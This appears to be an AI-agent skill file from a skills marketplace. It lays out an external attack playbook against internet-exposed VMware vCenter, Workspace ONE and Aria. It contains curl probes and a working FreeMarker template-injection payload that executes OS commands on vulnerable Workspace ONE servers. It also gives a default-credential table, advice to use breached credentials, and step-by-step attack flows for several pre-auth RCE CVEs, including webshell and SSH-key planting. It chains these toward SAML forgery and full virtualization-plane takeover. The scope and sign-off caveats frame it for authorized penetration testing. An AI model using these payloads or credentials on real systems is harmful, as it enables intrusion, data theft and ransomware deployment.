VMware vSphere / vCenter Server external attack matrix — version fingerprinting, the high-impact CVE chain (CVE-2021-21972 vRealize unauth file upload, CVE-2021-21985 vSAN plugin RCE, CVE-2022-22954 Workspace ONE SSTI, CVE-2023-20887 Aria RCE, CVE-2024-37085 ESXi AD bypass, CVE-2023-34048 vCenter DCERPC OOB write APT-exploited), default credentials, SSO configuration disclosure, vmdir LDAP enumeration, ESXi Open SLP RCE history. ONLY for vCenter / Workspace ONE / Aria instances exposed to the internet — internal-network vCenter is out of scope per the external-only boundary. Use when recon shows port 443 with vCenter banner, `/ui` redirect, `/websso/SAML2/Metadata`, or VMware product fingerprints.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
VMware vSphere / vCenter Server external attack matrix — version fingerprinting, the high-impact CVE chain (CVE-2021-21972 vRealize unauth file upload, CVE-2021-21985 vSAN plugin RCE, CVE-2022-22954 Workspace ONE SSTI, CVE-2023-20887 Aria RCE, CVE-2024-37085 ESXi AD bypass, CVE-2023-34048 vCenter DCERPC OOB write APT-exploited), default credentials, SSO configuration disclosure, vmdir LDAP enumeration, ESXi Open SLP RCE history. ONLY for vCenter / Workspace ONE / Aria instances exposed to the internet — internal-network vCenter is out of scope per the external-only boundary. Use when recon shows port 443 with vCenter banner, `/ui` redirect, `/websso/SAML2/Metadata`, or VMware product fingerprints.
Step 3 — CVE-2021-21972 probe (still common on stale appliances)
# Detection only — DO NOT execute the file upload without explicit scope OK
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}\n" \
"https://$TARGET/ui/vropspluginui/rest/services/uploadova"# 405 → endpoint exists, version vulnerable# 404 → patched (endpoint removed)# 401 → patched (auth required)
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}\n" \
"https://$TARGET/ui/vropspluginui/rest/services/getstatus"
Public PoC by Mikhail Klyuchnikov exists; do not execute against client infra without explicit RCE-attempt sign-off.
Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe
# Stage A — detection only: reachability + baseline. No command execution yet.
curl --max-time 30 --connect-timeout 10 -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n" \
"https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"# 4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.# 404 → patched/removed. Keep the baseline body to diff against Stage B.# Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary# so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.
CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"echo ${CANARY}; id\")}"# Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output# that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).
Confirmed RCE requires the unique $CANARY reflected in-band plus uid= output not present in the Stage-A baseline → critical. Stop and report. A bare uid= with no canary echo is NOT confirmation.
Step 5 — Default credentials (frequently still valid on lab/staging vCenters)
Product
Default user
Default password
vCenter 6.x
administrator@vsphere.local
<set-during-install>
vCenter Appliance root
root
vmware (legacy) or <set>
ESXi root
root
<blank> or vmware
vCenter Server Appliance Mgmt (5480)
root
<set-during-install>
Aria Operations
admin
vmware (legacy)
Workspace ONE
admin
<set>
⚠ Do not spray vCenter — administrator@vsphere.local has VERY low lockout threshold (often 3 attempts → 60s lockout, configurable to permanent). One attempt with high-confidence guess only. Use creds discovered in breach corpora.
Excessive 404s on /ui/vropspluginui/* — IDS signature
POST to /sdk from non-management IP
administrator@vsphere.local auth failures
TLS handshake fingerprint changes
Plugin upload to vRealize endpoint
Pair with mid-engagement-ir-detection skill — vCenter is monitored heavily in mature SOCs.
External-only boundary check
If recon reveals vCenter only via VPN (not direct internet) → STOP. That is internal infrastructure and outside the external-only AI scope per feedback_skill_boundaries. The user handles internal vCenter work directly.
Internet-exposed vCenter is unfortunately common on the perimeter — and frequently outdated by years. The 2021-21972 / 21985 / 22954 trifecta still pays in 2026 because patching cycles for hypervisor management are slow and vendor-managed.
vCenter on internet, missing patches with public RCE
Critical (entire virtualization plane compromise)
vCenter on internet + default admin password
Critical (immediate full takeover)
Workspace ONE on internet, unpatched 22954
Critical
MOB anonymously accessible
High (full topology disclosure)
/sdk reachable + version disclosure only
Medium (info disclosure + attack-surface concentration)
Anti-patterns
DO NOT spray vCenter SSO — lockout is aggressive; one chance often
DO NOT execute file-upload PoCs without explicit OK — they create persistent webshells; cleanup overhead and audit trail
DO NOT confuse ESXi-management-on-internet with vCenter — different attack surfaces; ESXi Open SLP CVEs target port 427
DO NOT skip SSL handshake banner check — VMware exposes versions there; this is the lowest-noise initial probe
Bridge to neighboring skills
enterprise-vpn-attack — vCenter is frequently the post-VPN target; if VPN is breached, vCenter is the natural next pivot (but internal — defer to user)
m365-entra-attack — vCenter SSO sometimes federated to Entra; cred-chain bridging
mid-engagement-ir-detection — vCenter monitoring is sensitive; expect mid-engagement mitigations
redteam-report-template — vCenter findings need clear blast-radius framing (this is the virtualization plane, not just an app)
vCenter version disclosure without CVE — knowing the vCenter version is recon. Need a pre-auth CVE affecting that specific version.
Post-exploitation assumed — vCenter attacks typically require initial foothold. The finding is what you can do ONCE inside, not how you got there.
ESXi vs vCenter confusion — vCenter manages ESXi hosts. Attacking vCenter gives you the whole cluster. Attacking one ESXi host gives you one box.
VM escape complexity — VM escape from a guest to the hypervisor is extremely difficult. Focus on vCenter credential theft first, VM escape second.
SSO domain administrator — vCenter SSO administrator@vsphere.local has unlimited power. This account is the primary target.
Log insight / vRealize — vCenter add-ons (Log Insight, vRealize Operations) have their own CVEs. Don't stop at the vCenter web UI.
Related Skills & Chains
hunt-saml — vCenter Workspace ONE / VMware Identity Manager publishes SAML SP metadata at /SAAS/API/1.0/GET/metadata/idp.xml and consumes assertions at predictable ACS URLs. Chain primitive: vCenter SAML SP metadata reachable → IdP fingerprinted → hunt-saml XSW1-XSW8 against the federating IdP → forged assertion with userPrincipalName=administrator@vsphere.local → SP-impersonation as vCenter admin → full virtualization-plane takeover.
hunt-rce — VMware's high-impact CVE catalog (CVE-2021-21972, CVE-2021-21985, CVE-2022-22954, CVE-2023-20887) is almost entirely pre-auth RCE. Chain primitive: vCenter version fingerprint via SSL banner or /ui/login body → confirm patch level missing → hunt-rce deserialization/SSTI gadget from the matching CVE PoC → root on vCenter appliance → API-token mint → cluster-wide VM control.
enterprise-vpn-attack — VPN compromise + vCenter on internal-only is a natural post-VPN pivot, but external-only engagement scope sometimes forbids it. Chain primitive: VPN appliance CVE → foothold inside corp network → if scope permits, vmware-vcenter-attack becomes reachable on internal-only vCenter → datacenter takeover.
m365-entra-attack — Some VMware deployments federate vCenter SSO to Entra. Chain primitive: vCenter SSO discovery → AuthURL points to login.microsoftonline.com → m365-entra-attack Entra ATO on administrator@vsphere.local synced identity → SAML assertion → vCenter admin without ever brute-forcing vCenter SSO.
mid-engagement-ir-detection — VMware vSAN/vCenter alerting is sensitive; expect SOC to patch or block within hours of detection. Chain primitive: confirmed vCenter CVE → run mid-engagement-ir-detection baseline capture BEFORE attempting exploitation → if response patterns change mid-test, capture the SOC-patched state as a SECOND finding (defensive-action observed). Package both via redteam-report-template.
Disclosed CVEs & coordinated-disclosure citations
These are the load-bearing public references for every CVE called out in the matrix above. Every entry includes the vendor advisory, the originating researcher writeup or KEV-catalog entry, and (where public) in-the-wild exploitation references.
Affected: vCenter Server 6.5 < 6.5 U3n, 6.7 < 6.7 U3l, 7.0 < 7.0 U1c (vRealize Operations vCenter plugin bundled with every default install — Linux or Windows variant matters for payload). VMware Cloud Foundation 3.x/4.x also bundles.
Attack flow: Unauth POST to /ui/vropspluginui/rest/services/uploadova with a tar/OVA containing a path-traversal entry. On Windows write webshell.jsp under the vsphere-ui webroot for SYSTEM; on Linux drop authorized_keys under /home/vsphere-ui/.ssh/ and SSH in.
Root cause: Endpoint exposed by the vRealize Operations plugin lacked any authentication filter; the uploadova handler did not sanitize archive entry paths.
Disclosure: Reported by Mikhail Klyuchnikov (Positive Technologies / PT SWARM) in autumn 2020; advisory + patch published 2021-02-23 as VMSA-2021-0002; PoC on GitHub the next day triggered mass scanning. CISA KEV: added 2021-11-03. Year discovered 2020, patched 2021.
2. CVE-2021-21985 — vCenter vSAN Health Check plug-in pre-auth RCE
Affected: vCenter Server 6.5 < 6.5 U3p, 6.7 < 6.7 U3n, 7.0 < 7.0 U2b (vSAN Health Check plugin is enabled by default whether or not vSAN is in use).
Attack flow: Unauthenticated abuse of ProxygenController in the vSAN Health plugin → Java unsafe reflection chained with an SSRF primitive → arbitrary method invocation as vsphere-ui → command execution.
Root cause: Missing input validation + dangerous reflection sink reachable from an unauthenticated REST surface.
Disclosure: Reported by Ricter Z (Yang Hao) of 360 Noah Lab; advisory VMSA-2021-0010 published 2021-05-25. Public PoC and Metasploit module followed within days; honeypots saw active exploitation. Year discovered 2021, patched 2021.
Affected: vCenter Server 6.7 < 6.7 U3o, 7.0 < 7.0 U2d. Cloud Foundation 3.x/4.x bundled vCenter.
Attack flow: Unauth POST to the Analytics endpoint on port 443 (/analytics/telemetry/ph/api/hyper/send) writes attacker-controlled file outside the intended directory; chained with subsequent service abuse to reach RCE as the vCenter service account.
Root cause: Analytics/CEIP endpoint did not authenticate file uploads and did not validate target path.
Disclosure: VMware advisory VMSA-2021-0020 published 2021-09-21. Working PoC by @testanull / @wvu released within ~72h; CISA issued an emergency alert 2021-09-24. CISA KEV: added 2021-11-03. Year discovered 2021, patched 2021.
Attack flow: Unauth GET to /catalog-portal/ui/oauth/verify?deviceUdid=${...} injects a FreeMarker template; freemarker.template.utility.Execute runs OS commands as the horizon service account. Single-request RCE.
Root cause: Catalog-portal endpoint passed attacker-controlled query parameter into FreeMarker render without sandboxing the Execute utility.
Disclosure: Reported by Steven Seeley (mr_me) of Source Incite; VMware advisory VMSA-2022-0011 published 2022-04-06. PoCs public within 48h; widespread mass-exploitation followed. CISA KEV: added 2022-04-14. CISA AA22-138B (May 2022) documents IR engagements at "large organizations" exploited via this CVE. Year discovered 2022, patched 2022.
Affected: Workspace ONE Access [REDACTED_IP]; Identity Manager 3.3.3–3.3.6; vRealize Automation 7.6 (and downstream Cloud Foundation bundles).
Attack flow: Manipulate the HTTP Host header during local-domain login flow; the server routes its internal validation request to the attacker-controlled hostname → returns admin session without legitimate credentials.
Root cause: Host header used unvalidated as the target for the internal auth-validation request — classic SSRF-into-self with trust elevation.
Disclosure: Reported by Bruno López of Innotec Security; VMware advisory VMSA-2022-0014 published 2022-05-18. CISA Emergency Directive 22-03 (2022-05-18) ordered all U.S. federal civilian agencies to patch or remove affected VMware installations by 2022-05-24 — the same agencies that had just been told the same thing for CVE-2022-22954 six weeks earlier. Year discovered 2022, patched 2022.
Affected: Aria Operations for Networks (formerly vRealize Network Insight / vRNI) 6.2 through 6.10.
Attack flow: Two-issue chain — (a) reach the Apache Thrift endpoint exposed on the management interface despite no authentication, (b) inject shell metacharacters into a parameter passed to a bash -c invocation. Single unauth POST → root.
Root cause: Thrift RPC endpoint exposed without auth + downstream shell-string composition with user input.
Disclosure: Reported by Sina Kheirkhah (@SinSinology) of Summoning Team to ZDI; advisory VMSA-2023-0012 published 2023-06-07. Public PoC released same week. CISA KEV: added 2023-06-22 after observed in-the-wild exploitation. Year discovered 2023, patched 2023.
Affected: vCenter Server 7.0 < 7.0 U3o, 8.0 < 8.0 U1d/U2b; VMware Cloud Foundation bundles.
Attack flow: Unauthenticated network actor sends a crafted DCE/RPC packet to the vmdir/vmafd service → out-of-bounds write in the DCE/RPC protocol implementation → memory corruption → code execution. Forensic tell: vmdird crashes shortly before backdoor deployment.
Root cause: OOB write in DCE/RPC marshalling layer of vCenter management services.
Disclosure: Reported by Grigory Dorodnov of Trend Micro ZDI (publication ZDI-23-1623, suggesting a paid ZDI submission — bounty undisclosed). Advisory VMSA-2023-23 published 2023-10-24. Mandiant later attributed in-the-wild exploitation to UNC3886 (China-nexus espionage) since late 2021 — a ~1.5-year zero-day window before patch. CISA KEV: added 2024-01-22. Year discovered 2023 (patched), exploited since 2021.
Affected: ESXi 7.0 < ESXi70U3q-24585291, ESXi 8.0 < ESXi80U3-24022510; vCenter-managed clusters where ESXi is joined to AD.
Attack flow: Attacker with sufficient AD rights creates (or re-creates after deletion) a group literally named ESX Admins and adds an account. ESXi auto-grants every member full admin rights without checking that the group existed at join time. End-to-end: AD foothold → group create → SSH/API root on every domain-joined ESXi host → mass VM encryption.
Root cause: Hard-coded trust of group name ESX Admins with no domain-scoped identity validation.
Disclosure: Reported by Microsoft Threat Intelligence; advisory VMSA-2024-0013 published 2024-06-25. Microsoft Security Blog documents pre-patch exploitation by Storm-0506 (Black Basta), Storm-1175, Octo Tempest, and Manatee Tempest ransomware operators — including a confirmed Black Basta deployment at a North American engineering firm. CISA KEV: added 2024-07-30. Year discovered 2024 (exploited as 0-day), patched 2024.
Note on the original ticket: This CVE was listed in the brief as "Aria SSRF," but the actual NVD record describes an ESXi/vCenter storage controller out-of-bounds read/write, not an Aria SSRF. The closest Aria SSRF-adjacent issue in the 2024 cycle is CVE-2023-34063 (VMSA-2024-0001) — Aria Automation missing access control allowing authenticated cross-org access; CVSSv3 9.9. Both are cited so the matrix is technically accurate.
Affected (CVE-2024-22273): ESXi 7.0/8.0, Workstation 17.x, Fusion 13.x. vCenter Server packaged variants. Requires VM-local access with storage controllers enabled.
Attack flow: VM with storage controllers enabled can issue crafted I/O to trigger OOB read/write on the host → information disclosure or DoS of the host (escape not directly demonstrated). CVSS 8.1 (Important).
Root cause: Missing bounds check in the storage controller emulation path.
Disclosure: Reported by Hao Zheng (@zhz) and Jiaqing Huang (@s0duku) of TianGong Team, Legendsec @ Qi'anxin Group. Advisory VMSA-2024-0011 published 2024-05-21. Year discovered 2024, patched 2024.
Affected: ESXi 6.5, 6.7, 7.0 prior to the OpenSLP patches (ESXi70U1c-17325551 / ESXi670-202102401-SG / ESXi650-202102101-SG). OpenSLP service on TCP/427.
Attack flow: Unauth attacker sends a crafted SLP packet to port 427 → memory corruption in the SLP daemon → code execution as root on the hypervisor. CVE-2020-3992 is the use-after-free (VMSA-2020-0023); CVE-2021-21974 is the heap-overflow variant (VMSA-2021-0002, same release wave as 21972).
Root cause: OpenSLP daemon — long-deprecated, exposed by default until 2021 — has unsafe parsing of SLP message frames.
Disclosure: CVE-2020-3992 reported by Lucas Leong of Trend Micro ZDI (ZDI-20-1376, paid ZDI submission). CVE-2021-21974 reported by Lucas Leong of Trend Micro ZDI as well. CISA KEV: CVE-2020-3992 added 2021-11-03; CVE-2021-21974 added 2023-02-08. ESXiArgs ransomware campaign (Feb 2023) hit ~3,800 internet-exposed hosts via CVE-2021-21974 — two years after patch was available. VMware disabled SLP by default in subsequent releases. Year discovered 2020/2021, patched 2020/2021, mass-exploited 2023.
Affected: Same product matrix as 22954/22972. Workspace ONE Access 21.08.x; Identity Manager 3.3.3–3.3.6; vRealize Automation 7.6.
Attack flow: Network-only actor obtains admin without authenticating; chained with CVE-2022-31659 (auth'd RCE) the pair yields pre-auth admin RCE — the spiritual successor to the 22954+22972 pair.
Root cause: Local-domain auth flow trusted a parameter that could be supplied without prior auth.
Disclosure: Reported by PetrusViet of VNG Security; advisory VMSA-2022-0021 published 2022-08-02. PetrusViet released chain writeup + PoC. Year 2022.
Mandiant UNC3886 reporting: Google Cloud Threat Intelligence has the deepest published forensic trail on long-tail vCenter zero-day exploitation. Pair with the mid-engagement-ir-detection skill when working a target where vCenter is reachable.
The pattern across every entry above: VMware management-plane CVEs are pre-auth, network-reachable, and mass-exploited within days of patch. When external recon surfaces any of these products at a current-minus-one patch level, that is a Critical finding worth a same-day callout in the deliverable — not a Medium info-disclosure.
